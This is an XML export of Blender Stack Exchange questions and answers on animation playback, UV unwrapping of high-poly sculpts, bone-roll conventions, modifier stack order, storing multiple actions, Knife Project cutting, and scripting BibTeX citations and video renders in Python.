  <row Id="6055" PostTypeId="2" ParentId="6054" CreationDate="2014-01-07T00:05:36.457" Score="5" Body="&lt;p&gt;You can go back to the first frame of your animation to return objects and physics to their starting states and positions.  Click the &lt;img src=&quot;https://i.stack.imgur.com/GtVhQ.png&quot; alt=&quot;enter image description here&quot;&gt; button or press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Down Arrow&lt;/kbd&gt; while the animation is paused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lFrwB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To pause playback, press &lt;kbd&gt;Esc&lt;/kbd&gt;, or toggle play/pause with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1929" LastEditorUserId="1929" LastEditDate="2014-01-07T01:04:55.193" LastActivityDate="2014-01-07T01:04:55.193" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6056" PostTypeId="2" ParentId="6054" CreationDate="2014-01-07T00:47:14.797" Score="2" Body="&lt;p&gt;You can stop animations and simulations in Blender by pressing escape &lt;kbd&gt;Esc&lt;/kbd&gt;. You can pause/resume them with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2015-11-18T04:53:22.297" LastActivityDate="2015-11-18T04:53:22.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6057" PostTypeId="2" ParentId="6019" CreationDate="2014-01-07T06:29:08.677" Score="2" Body="&lt;p&gt;Alternatively, it sounds like it would be useful for you to import them all as separate objects and then parent one to all the others. That way, the parent will behave as if all of the smaller objects were one object.&lt;/p&gt;&#xA;" OwnerUserId="1881" LastActivityDate="2014-01-07T06:29:08.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6058" PostTypeId="1" AcceptedAnswerId="6059" CreationDate="2014-01-07T06:31:13.327" Score="5" ViewCount="7843" Body="&lt;p&gt;I am still in the learning stages of Mesh modeling, but I've just sculpted two well looking Mesh Sci-fi helmets and I wish to have them textured by a Friend. I tried to UV map both of them but they both froze after clicking 'Unwrap'. Im positive it must be too high polly, and if so how could I fix this problem? Or how could I get a viable texture map a different way?&lt;/p&gt;&#xA;" OwnerUserId="2016" LastActivityDate="2017-03-03T07:20:31.730" Title="High Poly Mesh UV Mapping" Tags="&lt;mesh&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6059" PostTypeId="2" ParentId="6058" CreationDate="2014-01-07T06:40:23.700" Score="7" Body="&lt;p&gt;Since, it is not possible to unwrap a highpoly sculpted mesh (i am thinking about 500k polys) in blender. You are left with few choices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;duplicate your highpoly mesh, add a deciamte modifier, decimate and apply the modifier. Turn your Triangles to Quad and then unwrap it. You can always get Details by baking normals. (Worst idea in my opinon, but fastest).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Retopologize your model (best option) , unwrap retopo and bake normals, ao, cavity maps.&#xA;(retopo is good too , when you want Hard surface and edges too). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, There is no point in giving highpoly mesh to your friend for texturing, as it wont be usable in game, but render only.&lt;/p&gt;&#xA;" OwnerUserId="738" LastActivityDate="2014-01-07T06:40:23.700" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6060" PostTypeId="1" AcceptedAnswerId="6081" CreationDate="2014-01-07T07:13:42.763" Score="4" ViewCount="4469" Body="&lt;p&gt;I am writing articles and would like to cite Blender correctly. How should I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you run R, and type &lt;code&gt;citation()&lt;/code&gt;, you would get the following instantly;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; @Manual{,&#xA;    title = {R: A Language and Environment for Statistical Computing},&#xA;    author = {{R Core Team}},&#xA;    organization = {R Foundation for Statistical Computing},&#xA;    address = {Vienna, Austria},&#xA;    year = {2013},&#xA;    url = {http://www.R-project.org/},&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you can put this in Bibtex and cite R correctly. Is there an equivalent way of doing this in Blender to get an official/correct citation?&lt;/p&gt;&#xA;" OwnerUserId="1725" LastEditorUserId="1725" LastEditDate="2014-01-07T10:00:11.473" LastActivityDate="2019-06-11T16:47:15.410" Title="How do I cite Blender builds/release correctly for Publications using Bibtex?" Tags="&lt;versions&gt;&lt;documentation&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6061" PostTypeId="1" AcceptedAnswerId="6062" CreationDate="2014-01-07T12:54:24.817" Score="3" ViewCount="346" Body="&lt;p&gt;Typically with bones you would use a dominant access for bending a limb (knee, elbow, finger etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the roll is set you can choose to use the &lt;code&gt;X&lt;/code&gt; or &lt;code&gt;Z&lt;/code&gt; axis, (Y axis runs along the bones length).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though I realize you can use different rotation methods (Quaternion, Axis-Angle etc... which can be less restrictive compared to Euler rotation), its still convenient to have the manipulator aligned so an axis runs along the bones dominant axis for bending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a convention for rigging here? or does everyone choose differently?&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-01-07T16:14:16.047" LastActivityDate="2014-01-07T16:14:16.047" Title="Rigging convention for limb joint dominant axis?" Tags="&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6062" PostTypeId="2" ParentId="6061" CreationDate="2014-01-07T13:59:47.367" Score="5" Body="&lt;p&gt;In my rigs, the dominant rotation axis is always &lt;strong&gt;&lt;code&gt;X&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's consistent with Rigify's convention, and less a hassle when using &lt;strong&gt;X-Axis Mirror&lt;/strong&gt; for faster alignment. Could be confusing, though, because visually it's always the &lt;code&gt;Z&lt;/code&gt; axis that looks mirrored. So I'd just pay attention to the &lt;code&gt;Z&lt;/code&gt; axis when orienting the bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3qBuI.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For translation bones (like sliders) I use the &lt;code&gt;Z&lt;/code&gt; axis, also because of the way &lt;strong&gt;X-Axis Mirror&lt;/strong&gt; aligns symmetrical bone rolls. That is, if the animators use &lt;em&gt;Gimbal&lt;/em&gt; transform orientation, they could focus on using the &lt;em&gt;red&lt;/em&gt; (&lt;code&gt;X&lt;/code&gt; axis) part of the rotation widget, and &lt;code&gt;blue&lt;/code&gt; (&lt;code&gt;Z&lt;/code&gt; axis) part of translation widget.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2014-01-07T14:05:21.827" LastActivityDate="2014-01-07T14:05:21.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6063" PostTypeId="1" AcceptedAnswerId="6065" CreationDate="2014-01-07T14:54:16.753" Score="7" ViewCount="13480" Body="&lt;p&gt;I was practicing with modeling a leaf using a image reference. Everything went fine and I finished modeling my leaf, but I wanted to make it more realistic (I'll add textures later), I saw lots of people using the Subdivision Surface modifier but it doesn't work for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My model:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4zR15.png&quot; alt=&quot;My 3d Model&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My model when I add the Subdivision Surface modifier&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6GXjG.png&quot; alt=&quot;My 3d Model when i add subdivision surface modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nXpMC.png&quot; alt=&quot;Finished Leaf&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user2087" LastEditorUserId="12" LastEditDate="2014-01-07T19:58:33.410" LastActivityDate="2021-02-15T17:23:29.190" Title="Subsurf and mirror modifier creating a split in mesh" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6064" PostTypeId="2" ParentId="6063" CreationDate="2014-01-07T14:59:26.943" Score="-2" Body="&lt;p&gt;You are using mirror modifier with subsurf modifier. That's why your leaf is behaving like above picture. You need to add edge loops or use edge crease to solve this problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, this is not the most efficient way to create a leaf. &#xA;Search for &quot;Sintel LowPoly Plants&quot; video on youtube.com to learn the basics of Low Poly modeling of plants.&lt;/p&gt;&#xA;" OwnerUserId="738" LastEditorUserId="1653" LastEditDate="2014-01-07T15:55:35.007" LastActivityDate="2014-01-07T15:55:35.007" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6065" PostTypeId="2" ParentId="6063" CreationDate="2014-01-07T15:26:00.000" Score="15" Body="&lt;p&gt;The mirror modifier is designed to work properly with the subsurf modifier. You shouldn't have to do anything extra.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main problem is that your subsurf modifier is above your mirror modifier in the stack. The subsurf should be below the mirror modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, you're suburfing one half all by itself, and then mirroring that. Rather, you want to mirror the part you have, and then subsurf the whole thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't fix all of the problems, there are some other problems you might be running into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally, the mirror modifier will merge vertices from one half that are close enough to the save vertices from the  other half. You just have to make sure of two things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your center line must be perfectly straight.&lt;/li&gt;&#xA;&lt;li&gt;Your center line must be close enough to the mirror pivot.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To make your center line perfectly straight, select all the vertices that are on the center of your mesh and scale to 0 &lt;strong&gt;only on the proper axis&lt;/strong&gt;. If your center line parallels the x axis and lies on the x-y plane, then scale to 0 on the y-axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make sure your center line is &quot;close enough&quot; to your mirror pivot, first determine what your mirror pivot is. The default is the object's origin, but you can use the origin of another object. In your case, it's probably the object's origin. Here's a method you can use:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select all vertices&lt;/li&gt;&#xA;&lt;li&gt;Zoom in on the object's origin (orange dot) and move all the vertices until the center line lies exactly on the origin.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You may have to zoom in very far to get it perfect, but you really only have to get &quot;close enough&quot; as defined by the merge distance set in the mirror modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's best to move on a single axis, which you can do after starting the operation, in this case &lt;code&gt;grab&lt;/code&gt;. After typing &lt;kbd&gt;g&lt;/kbd&gt;, type the letter of the axis along which you want to move the vertices. You'll be constrained to this axis until you choose another one, or finish the operation.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="1653" LastEditDate="2014-01-07T17:11:13.970" LastActivityDate="2014-01-07T17:11:13.970" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6068" PostTypeId="1" AcceptedAnswerId="6071" CreationDate="2014-01-07T18:32:41.410" Score="0" ViewCount="191" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LXm9c.jpg&quot; alt=&quot;pok&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to make pokemon but I have some problem, i use circle select tool - C in edit mode to select part of object and then I put white color on that part but there are just some stains on the character and not the entire white circuit. Can someone help me, I don't know what to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Ocek.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tKceU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2089" LastEditorUserId="599" LastEditDate="2014-08-24T00:27:56.327" LastActivityDate="2014-08-24T00:27:56.327" Title="Trying to put color on part of object" Tags="&lt;materials&gt;&lt;objects&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6070" PostTypeId="1" CreationDate="2014-01-07T20:13:23.103" Score="3" ViewCount="382" Body="&lt;p&gt;With the Blender Python API, I am trying to get the RBG Values of all the texels from the ground object(the color checker in the following example), that are contained in the orthogonal projection of the active object(the black rectangle):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dmmwc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example, this would return: (Blue(4),green(3),yellow(2),red(1),orange(8), grey(7),pink(6)). If there is no solution for the complete area, I would at least like to get the values for each vertex (here : green(3) and pink(6)).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point is to have my my object to be build parametrically depending on the datas in the ground texture where it stands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this with Blender?&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="296" LastEditDate="2014-01-09T16:14:41.117" LastActivityDate="2014-01-09T16:14:41.117" Title="How to find RGB values from texel contained in an area?" Tags="&lt;python&gt;&lt;texturing&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6071" PostTypeId="2" ParentId="6068" CreationDate="2014-01-07T20:18:46.993" Score="1" Body="&lt;p&gt;It looks like you have some &lt;a href=&quot;http://en.wikipedia.org/wiki/Z-fighting&quot; rel=&quot;nofollow&quot;&gt;coincident geometry&lt;/a&gt;, but it's hard to tell what's causing it. It's quite possible that you have two copies of the same thing there, one of which is getting the material you want, and the other is covering it up. Right-click and drag on that model to make sure there's not another one underneath it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure that you're doing your selection in wireframe mode (not shaded), so that you're certain you're getting all the vertices. Keep in mind that you'll have to DEselect any vertices on the opposite side of the model, that you don't want to use that material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-01-07T20:18:46.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6072" PostTypeId="2" ParentId="5984" CreationDate="2014-01-07T20:28:31.143" Score="1" Body="&lt;p&gt;In order to avoid breaking it into parts, I'd recommend remeshing the whole model into a LOWER resolution (including the ears) and then use the sculpting tools to paint more geometry onto the ears by themselves.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-01-07T20:28:31.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6073" PostTypeId="1" CreationDate="2014-01-07T20:34:43.140" Score="1" ViewCount="500" Body="&lt;p&gt;I am attempting to prepare a mesh for an acoustic simulation that requires a maximum edge of 4mm, with 1mm resolution at the ears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original mesh is @ 1mm res.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware of two techniques:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;ReMesh&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Sculpting with Simplify brush (and dynamic topology enabled)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried both out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My favourite is ReMesh, as it lets me precisely control the upper edge length:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S2JGR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I require the ears to be at a higher density!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I duplicate, and remesh the duplicate to low resolution. Now I want to put the ears of the original onto the head of the Lo-Res.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NMbAA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm stuck, what next?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be wonderful if I could just use this path to cut the original mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe if I select the entire ear, and extrude slightly into the head and slightly out of the head, then I could perform Boolean operations using this extruded ear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I could do&#xA;  LoRes-mesh MINUS extruded-ear&#xA;  +&#xA;  original-mesh INTERSECT extruded-ear&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to say, I don't like the sound of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How about Knife Project, using the vertex path?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2014-01-26T00:06:38.417" Title="Use vertex path on one mesh to cut a hole in another mesh" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6074" PostTypeId="1" AcceptedAnswerId="6075" CreationDate="2014-01-07T20:49:44.843" Score="3" ViewCount="1296" Body="&lt;p&gt;For a University project I need to make a fish (guppy), create bones, add them to the mesh, create some &quot;realistic&quot; animations on the timeline, and finally redo the last point to be able to set multiples different animations on the fish to call them when needed from Unity Engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fish and bones are almost okay. I linked them to the mesh and made animation on the timeline too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I am not sure about how to manage the part when E need to make multiple animations. I have read that can be done with the NLA-Editor, but I do not understand how to do this. Can anybody explain me (an example is okay too) how the NLA-Editor works?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And for the bonus question, if some of you are Unity users, is it easy to call one of the different animations at will ?&lt;/p&gt;&#xA;" OwnerUserId="2091" LastEditorUserId="599" LastEditDate="2014-01-07T21:12:32.940" LastActivityDate="2014-01-08T12:11:36.477" Title="Multiples animations in a single blend file" Tags="&lt;animation&gt;&lt;bones&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6075" PostTypeId="2" ParentId="6074" CreationDate="2014-01-07T20:57:13.050" Score="3" Body="&lt;p&gt;You can save multiple animations (called Actions in Blender) for a rig by using the Dope Sheet and changing its context to Action Editor (switched with a dropdown menu in the Dope Sheet's header). From the Action Editor, each animation can be stored as an Action datablock (the same way you can have multiple mesh or material datablocks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Important:&lt;/em&gt; If you store multiple actions make sure you give each action a fake user by clicking the F button to the right of the Actions datablock in the Action Editor's header. Failure to do so will result in you losing animations after saving and closing Blender. This is because all datablocks without users (including Actions) are purged when a file is saved and reloaded. Giving the action a fake user prevents that from happening.&lt;/p&gt;&#xA;" OwnerUserId="836" LastEditorUserId="836" LastEditDate="2014-01-08T12:11:36.477" LastActivityDate="2014-01-08T12:11:36.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6076" PostTypeId="2" ParentId="6073" CreationDate="2014-01-07T21:27:41.143" Score="2" Body="&lt;p&gt;Got it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kTyAz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&amp;lt;3 Blender :]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did it using the Knife Project tool:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Load full resolution mesh&lt;/li&gt;&#xA;&lt;li&gt;Duplicate to 'LoRes', hide the original, select the duplicate&lt;/li&gt;&#xA;&lt;li&gt;Remesh to a low resolution&lt;/li&gt;&#xA;&lt;li&gt;Edit Mode&lt;/li&gt;&#xA;&lt;li&gt;Create a vertex path around ear using CTRL+Click&lt;/li&gt;&#xA;&lt;li&gt;Copy these into a new 'cutpath' object: &#xA;   3dView ToolShelf -&gt; Duplicate (click twice)&#xA;   3DViewMenu-&gt;Mesh-&gt;Vertices-&gt;Separate-&gt;Selection&lt;/li&gt;&#xA;&lt;li&gt;Object Mode -&gt; Select 'cutpath', SHIFT+Select 'LoRes'&lt;/li&gt;&#xA;&lt;li&gt;Edit Mode -&gt; Knife Project&lt;/li&gt;&#xA;&lt;li&gt;Circle Select to select bits of the ear that got missed out&#xA;&#xA;&lt;ol start=&quot;10&quot;&gt;&#xA;&lt;li&gt;x to Delete verts&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;OK, now I have the LoRes mesh with the ear cutout.  Now I just have to use the same 'cutpath' to cut the ear from the original mesh, and stick it in.&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="1693" LastEditDate="2014-01-26T00:06:38.417" LastActivityDate="2014-01-26T00:06:38.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6077" PostTypeId="1" CreationDate="2014-01-07T23:09:59.460" Score="2" ViewCount="1859" Body="&lt;p&gt;I'm currently using Blender 2.69. I was reading up on particle systems in Blender's wiki user manual and I noticed that according to the documentation that in addition to having other object primitives emitted as particles that lamps could be used as well. I tried this out using a simple point light. When I tested the particle animation in wireframe mode I could see that my emitter was emitting the lamps, but the nothing would show up in a render. Could anyone tell what I was doing wrong or is this a bug?&lt;/p&gt;&#xA;" OwnerUserId="2084" LastActivityDate="2014-05-16T03:25:03.110" Title="Particle systems with lamps as the object emitted" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6079" PostTypeId="1" CreationDate="2014-01-08T00:42:49.793" Score="2" ViewCount="308" Body="&lt;p&gt;Not 100% sure this is what im looking for, but does anyone know where to find the sound block buttons? (for the most recent version of blender?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do some animating and I want to sync mouth movements to an audio. I check audio scrubbing, so I can match a single frame to a single frame sound. But when I click on the timeline, the audio plays from that point. The animation is paused too so I can't properly animate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if Sound Block Buttons is going help me, but I've been trying everything. I've googled all I can. If anyone can help me, or find another way to animate to vocals, please let me know.&lt;/p&gt;&#xA;" OwnerUserId="2088" LastEditorUserId="12" LastEditDate="2014-02-17T00:31:12.613" LastActivityDate="2014-03-19T00:45:01.133" Title="Sound Block Buttons" Tags="&lt;animation&gt;&lt;audio&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6081" PostTypeId="2" ParentId="6060" CreationDate="2014-01-08T02:57:07.110" Score="4" Body="&lt;p&gt;Blender has no functionality to do this, but you could use a Python script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def citation():&#xA;    import bpy&#xA;&#xA;    build_year = bpy.app.build_date.partition(b'-')[0].decode('ascii')&#xA;&#xA;    return '''\&#xA;@Manual{,&#xA;   title = {Blender - a 3D modelling and rendering package},&#xA;   author = {{Blender Online Community}},&#xA;   organization = {Blender Foundation},&#xA;   address = {Blender Institute, Amsterdam},&#xA;   year = {%s},&#xA;   url = {http://www.blender.org},&#xA; }''' % build_year&#xA;&#xA;# test to see it works:&#xA;print(citation())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-08T02:57:07.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6082" PostTypeId="1" AcceptedAnswerId="6083" CreationDate="2013-12-22T23:12:47.380" Score="2" ViewCount="3719" Body="&lt;p&gt;Im trying to render directly from a python script in Blender, and I almost got it.&#xA;But there is no information on how to do it in the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_57_release/bpy.ops.render.html&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, the code I got so far is from &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?211778-Rendering-multiple-files-scenes-via-python-API&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&#xA;With the following code, the script will render your blender scene into a series of images:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for scene in bpy.data.scenes:&#xA;    data_context = {&quot;blend_data&quot;: bpy.context.blend_data, &quot;scene&quot;: scene}&#xA;    bpy.ops.render.render(data_context, animation=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will produce a folder with all the frames in your scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how to convert those to a video in 30 fps with a python script with blender?&#xA;I found &lt;em&gt;no&lt;/em&gt; documentation about it. Anyone did this?&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1950" OwnerDisplayName="I want badges" LastActivityDate="2014-01-08T06:31:57.590" Title="Rendering into video with Blender in Python, frames to video" Tags="&lt;python&gt;&lt;video&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6083" PostTypeId="2" ParentId="6082" CreationDate="2013-12-23T01:51:45.133" Score="4" Body="&lt;p&gt;Within your scene loop you can alter the render settings within &lt;code&gt;scene.render&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some variables of interest may be -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;render.image_settings.file_format&lt;/code&gt; default available image_format options are BMP IRIS PNG JPEG TARGA TARGA_RAW OPEN_EXR_MULTILAYER OPEN_EXR AVI_JPEG AVI_RAW - depending on the build settings others may be available, like CINEON DPX TIFF or FFMPEG&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the FFMPEG option then you can adjust it through variables in &lt;code&gt;scene.render.ffmpeg&lt;/code&gt; such as &lt;code&gt;scene.render.ffmpeg.codec&lt;/code&gt; with options like H264 or MPEG4. Other ffmpeg variables include &lt;code&gt;video_bitrate maxrate minrate packetsize&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To change the framerate set &lt;code&gt;scene.render.fps&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To specify where the file is saved you set &lt;code&gt;scene.render.filepath&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One point to consider is that &lt;code&gt;bpy.ops.render.render&lt;/code&gt; will render using the settings saved with the file, so you can setup these options and save before starting your python script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also common to render animations to individual files for each frame and then join them into a video file once rendering has completed. One way to do this is with ffmpeg as &lt;a href=&quot;https://superuser.com/questions/624567/ffmpeg-create-a-video-from-images&quot;&gt;described here&lt;/a&gt; another is to import the image sequence into blender's video sequence editor and 'render' to a video file, this is very quick once all the images have been rendered. &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Sequencer/Usage&quot; rel=&quot;nofollow noreferrer&quot;&gt;The blender wiki&lt;/a&gt; can get you started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender is a large beast and the python dataset to access it all is just as large. You can find a large amount of information in the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/contents.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender API documentaion&lt;/a&gt; but you may find blender and it's built-in python console just as helpful. You can right click on almost any interface item and select &lt;code&gt;Edit Source&lt;/code&gt; - this will open the python file used to display that item in a text block (available in a text editor window) with the cursor on the relevant line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the blender python console you can enter &lt;code&gt;bpy.data.scenes['Scene'].render.ffmpeg.&lt;/code&gt; and click the Autocomplete button to see a list of variables and functions available as the next item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also don't forget that if it has been turned off you can turn on python tooltips in the user settings, which displays some python paths (sometimes truncated) in the tooltips for most things, that can at least point you in the direction to look for more information.&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastEditorUserId="-1" LastEditDate="2017-03-20T10:18:02.580" LastActivityDate="2013-12-24T05:32:49.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
